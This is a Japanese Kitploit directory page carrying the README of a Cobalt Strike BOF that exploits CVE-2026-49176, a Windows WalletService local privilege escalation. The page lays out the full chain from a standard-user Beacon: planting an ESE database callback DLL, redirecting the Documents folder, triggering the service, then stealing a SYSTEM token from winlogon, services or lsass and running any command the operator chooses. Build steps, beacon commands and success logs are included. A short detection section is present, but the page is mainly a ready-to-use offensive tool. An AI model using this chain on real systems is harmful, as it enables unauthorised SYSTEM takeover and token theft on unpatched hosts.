Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — スタンドアロンPoC + Cobalt Strike BOF(対話型セッションでのSYSTEMコマンド) | Kitploit
ツール/GitHubGitHub/777erp/cve-2026-49176_bof
特権昇格エクスプロイトポストエクスプロイトレッドチーミングペイロード開発
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — スタンドアロンPoC + Cobalt Strike BOF(対話型セッションでのSYSTEMコマンド)

リポジトリを見る
4111ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-49176 Cobalt Strike BOF

Cobalt Strike Beacon Object File (BOF) で、Windows WalletService(CVE-2026-49176、2026年7月に修正)を介したローカル特権昇格を実現します。

中整合性(標準ユーザー)のBeaconから、このツールは悪意のあるWallet ESEデータベースをステージングし、DocumentsをリダイレクトしてWalletServiceをトリガーし、呼び出し元が指定したコマンドラインを対話型デスクトップ上で**NT AUTHORITY\SYSTEM**として実行します。

BOF専用ツリー。
オリジナルのスタンドアロンPowerShell PoC: DavidCarliez/CVE-2026-49176_LPE_POC。同一の脆弱性が根本原因。配信方法とSYSTEM権限取得後のプロセス起動が異なります。


免責事項

認可されたセキュリティ研究、教育、および防御的検証の目的にのみ使用してください。


脆弱性(オリジナルPoCと共通)

WalletServiceは呼び出し元を偽装した状態でFOLDERID_Documentsを解決し、ファイルを開く前にLocalSystemへ戻ります:

root@kitploit:~
<Documents>\Wallet\wallet.db

標準ユーザーは、そのデータベースにESEのユーザー定義デフォルトコールバック(PATH\payload.dll!Export)をシードし、Documentsを制御下のディレクトリに指定して、WinRT WalletManager.RequestStoreAsync / GetItemsAsync を呼び出すことで、サービスにDLLをSYSTEMとしてロードさせることができます。

解説記事: CVE-2026-49176 エクスプロイト開発:WalletServiceからSYSTEMへ


BOF vs オリジナルPoC — 特権昇格パス

共通:SYSTEMコード実行の獲得方法

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

相違:コールバック後の対話型SYSTEMプロセス

WalletServiceは多くの場合、フィルタリングされたSYSTEMトークン(利用可能なSeAssignPrimaryToken / SeImpersonateなし)を使用します。直接CreateProcess*を呼び出すと、1314 になります。

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

特徴

  • アクティブなデスクトップ上で任意のコマンド/ファイルをSYSTEMとして実行する単一のBeaconコマンド
  • プロセス内で全チェーンを完結:ステージング → シード → リダイレクト → トリガー → 待機 → Documentsの復元
  • bof_pack("bbZ") で wallet_callback.dll + shell_broker.exe をパッキング
  • 複数戦略によるSYSTEM権限取得後の起動 + result.txt による診断
  • x64のみ

要件

項目要件
Beaconx64、中整合性()

構成

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

ビルド

root@kitploit:~
cd bof
build.bat
コマンド出力
build.bat / build.bat bothDLL + broker + x64 BOF
build.bat payloadDLL + brokerのみ
build.bat clean成果物の削除
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

VSがデフォルト以外の場所にある場合は、build.bat 内の VCVARS64 パスを編集してください。
重要フラグ: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od(CS BOFリンカーの安全性確保)。


使用方法

ロード

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(再ビルドのたびに再ロードしてください。)

コマンド

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • パスにスペースが含まれない場合、外側の引用符は不要です。
  • オプションのメニュー: Beacon → CVE-2026-49176 → Run command as SYSTEM...

ターゲット上でのステージング

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

パッキング

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

想定出力

タスク行

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

成功例(例示)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= は winlogon、services、lsass、またはbrokerパスのいずれかになります。

よくある失敗

リダイレクトが成功した場合、失敗時でもDocumentsは復元されます。


アーキテクチャ

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

検知面

  • Documents既知フォルダの変更
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + コールバックDLL
  • WalletServiceによるユーザー書き込み可能DLLのロード
  • winlogon/lsass/servicesに対する OpenProcess / トークンAPI
  • 短命なサービス CVE49176_*
  • 対話型セッションへの CreateProcessAsUserW / CreateProcessWithTokenW

制限事項

  • x64のみ。パッチ未適用のWalletServiceが必要
  • Wallet WinRT APIは一部のビルドで利用不可/非推奨の場合がある
  • ステージングディレクトリは自動削除されない
  • ESE/WinRTはBeacon内で実行される(プロセス分離されたオリジナルPoCと比較してクラッシュリスクあり)

関連リンク

リンク説明
DavidCarliez/CVE-2026-49176_LPE_POCオリジナルのスタンドアロンLPE PoC(アップストリームの研究用PoC)
解説記事オリジナルの研究記事
ツールをダウンロード
段階Original PoC本BOF
ESE DBのシードwallet_ese_seed.exeBOF内 Jet*A
Documentsのリダイレクトdocuments_path.exeBOF内 SHGet/SetKnownFolderPath
WalletのトリガーPowerShell WinRTBOF内 RoGetActivationFactory
コールバックDLLwallet_callback_shell.dllwallet_callback.dll
Original PoC本BOF
目標プロセスハードコードされた cmd.exeオペレーター指定のコマンドライン
主要手法一時サービス → shell_broker.exe → CreateProcessAsUserWwinlogon / services / lsass からトークン窃取 → 起動
フォールバックなしSCM + cmd.exe /c "shell_broker.exe" "result.txt"
非昇格
対象脆弱性のあるWalletService(2026年7月パッチ適用前)
CSBOFサポート付きCobalt Strike 4.x
ビルドVS 2019/2022 C++ + Windows 10 SDK(esent.h、WinRT)
ログ意味
JetAddColumn: -1003ESEパラメータの問題
error=1314フィルタリングされたSYSTEM。トークン窃取 / brokerが必要
STEAL_FAIL error=5対象プロセス/トークンを開けない
StartService error=32共有違反(cmdラッパーで緩和)
detail=all_methodsSYSTEM権限取得後の全戦略が失敗
リンカー Unknown symbol '??_C@_...'BOFビルドフラグが不正。build.bat で再ビルド